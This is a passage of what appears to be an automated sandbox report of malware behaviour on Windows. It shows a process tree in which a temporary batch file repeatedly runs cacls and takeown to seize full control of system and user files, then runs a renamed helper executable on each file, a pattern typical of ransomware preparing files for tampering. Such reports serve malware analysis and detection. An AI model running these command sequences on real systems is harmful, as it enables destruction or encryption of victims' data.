                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "device.png" -nobanner
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:6068
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                      K9TOpZud.exe -accepteula "device.png" -nobanner
                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                        PID:6084
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                      K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:6108
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\utc.app.json""
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:6132
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                          cacls "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\utc.app.json" /E /G Admin:F /C
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:5140
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                            takeown /F "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\utc.app.json"
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                            PID:4888
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "utc.app.json" -nobanner
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:4464
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                K9TOpZud.exe -accepteula "utc.app.json" -nobanner
                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                  PID:5156
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:264
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edbres00002.jrs""
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:5336
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                    cacls "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edbres00002.jrs" /E /G Admin:F /C
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:5356
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                      takeown /F "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edbres00002.jrs"
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                      PID:5372
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "edbres00002.jrs" -nobanner
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:5392
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                          K9TOpZud.exe -accepteula "edbres00002.jrs" -nobanner
                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                            PID:5436
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                          K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:3276
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets""
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:4444
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                              cacls "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets" /E /G Admin:F /C
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:5280
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                takeown /F "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets"
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                                                                                PID:5492
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:5552
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                    K9TOpZud.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                      PID:5580
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                    K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:5592
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoViewer.dll.mui""
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:5640
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                        cacls "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoViewer.dll.mui" /E /G Admin:F /C
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:5672
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                          takeown /F "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoViewer.dll.mui"
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                                                          PID:5732
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:5768
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                              K9TOpZud.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                PID:5764
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                              K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:5796
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin""
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                PID:5660
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                  cacls "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:5892
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin"
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                                                    PID:5944
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "KnownGameList.bin" -nobanner
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:5956
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                        K9TOpZud.exe -accepteula "KnownGameList.bin" -nobanner
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                          PID:5972
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                        K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:5840
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files (x86)\Windows Mail\wab.exe""
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                          PID:5984
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                            cacls "C:\Program Files (x86)\Windows Mail\wab.exe" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:6096
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                              takeown /F "C:\Program Files (x86)\Windows Mail\wab.exe"
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                                                                                              PID:6080
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "wab.exe" -nobanner
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:6004
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                  K9TOpZud.exe -accepteula "wab.exe" -nobanner
                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                    PID:5980
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                  K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:6120
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Header.bin""
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                    PID:276
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                      cacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Header.bin" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:4176
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                        takeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Header.bin"
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                                                        PID:5132
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "TileCache_100_0_Header.bin" -nobanner
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:5136
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                            K9TOpZud.exe -accepteula "TileCache_100_0_Header.bin" -nobanner
                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                              PID:5332
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                            K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:5424
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png""
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                              PID:5420
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                cacls "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:5376
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                  takeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png"
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                                                                                                  PID:5360
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "background.png" -nobanner
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:5268
                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                      K9TOpZud.exe -accepteula "background.png" -nobanner
                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                        PID:5548
                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                      K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                        PID:5608
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\utc.tracing.json""
                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                        PID:5600
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                          cacls "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\utc.tracing.json" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                            PID:5476
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                            takeown /F "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\utc.tracing.json"
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                                                                                                            PID:5716
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "utc.tracing.json" -nobanner
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                              PID:5736
                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                K9TOpZud.exe -accepteula "utc.tracing.json" -nobanner
                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                  PID:5800
                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                  PID:5684
                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1""
                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                  PID:5512
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                    cacls "C:\Users\All Users\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                      PID:5880
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                      takeown /F "C:\Users\All Users\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1"
                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                      PID:5960
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "RegisterInboxTemplates.ps1" -nobanner
                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                        PID:5964
                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                          K9TOpZud.exe -accepteula "RegisterInboxTemplates.ps1" -nobanner
                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                            PID:5844
                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                          K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                            PID:5864
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\telemetry.ASM-WindowsDefault.json""
                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                            PID:5676
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                              cacls "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\telemetry.ASM-WindowsDefault.json" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                PID:6012
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                takeown /F "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\telemetry.ASM-WindowsDefault.json"
                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                PID:6016
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "telemetry.ASM-WindowsDefault.json" -nobanner
                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                  PID:5188
                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                    K9TOpZud.exe -accepteula "telemetry.ASM-WindowsDefault.json" -nobanner
                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                      PID:6076
                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                    K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                      PID:6040
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\Diagnosis\osver.txt""
                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                      PID:5032
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                        cacls "C:\Users\All Users\Microsoft\Diagnosis\osver.txt" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                          PID:5164
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                          takeown /F "C:\Users\All Users\Microsoft\Diagnosis\osver.txt"
                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                          PID:4344
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "osver.txt" -nobanner
                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                            PID:4928
                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                              K9TOpZud.exe -accepteula "osver.txt" -nobanner
                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                PID:5428
                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                              K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                PID:5328
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edb.chk""
                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                PID:5556
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                  cacls "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edb.chk" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:4112
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                    takeown /F "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edb.chk"
                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                    PID:5404
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "edb.chk" -nobanner
                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:5708
                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                        K9TOpZud.exe -accepteula "edb.chk" -nobanner
                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:5728
                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                        K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:5776
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd""
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:5688
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                            cacls "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:5288
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                              takeown /F "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd"
                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                              PID:5912
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "SettingsLocationTemplate2013A.xsd" -nobanner
                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:5968
                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                  K9TOpZud.exe -accepteula "SettingsLocationTemplate2013A.xsd" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:5828
                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                  K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:5872
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
